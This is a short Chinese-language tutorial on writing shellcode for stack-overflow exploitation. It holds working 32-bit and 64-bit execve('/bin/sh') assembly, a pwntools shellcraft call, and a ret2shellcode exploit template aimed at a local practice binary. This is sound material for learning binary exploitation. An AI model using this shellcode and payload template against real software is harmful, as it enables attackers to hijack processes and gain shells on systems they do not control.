shellcode的编写
shellcode
shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
最简单的shellcode就是直接用C语言system函数来调用/bin/sh
# include <stdlib.h>
# include <unistd.h>
int main(void)
{
system("/bin/sh");
return 0;
}
32位的shellcode:
使用此shellcode的前提条件:(1)设置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80触发中断。
global _start
_start:
push "/sh"
push "/bin"
mov ebx, esp ;;ebx="/bin/sh"
xor edx, edx ;;edx=0
xor ecx, ecx ;;ecx=0
mov al, 0xb ;;设置al=0xb,对应系统调用execve
int 0x80
64位的shellcode:
使用此shellcode的前提条件:(1)设置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 进行系统调用。64位不再用int 0x80触发中断,而是直接用syscall进行系统调用。
global _start
_start:
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
用pwntools生成shellcode:
from pwn import*
shellcode=asm(shellcraft.sh())
exp模板:(以32位为例)
from pwn import *
p=process("./ret2shellcode")
#shellcode=asm(shellcraft.sh()) #自动生成shellcode
shellcode=asm("""
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")#手动生成shellcode
payload=shellcode.ljust(xxx,'a')+p32(shell_ad)
p.sendline(payload)
p.interactive()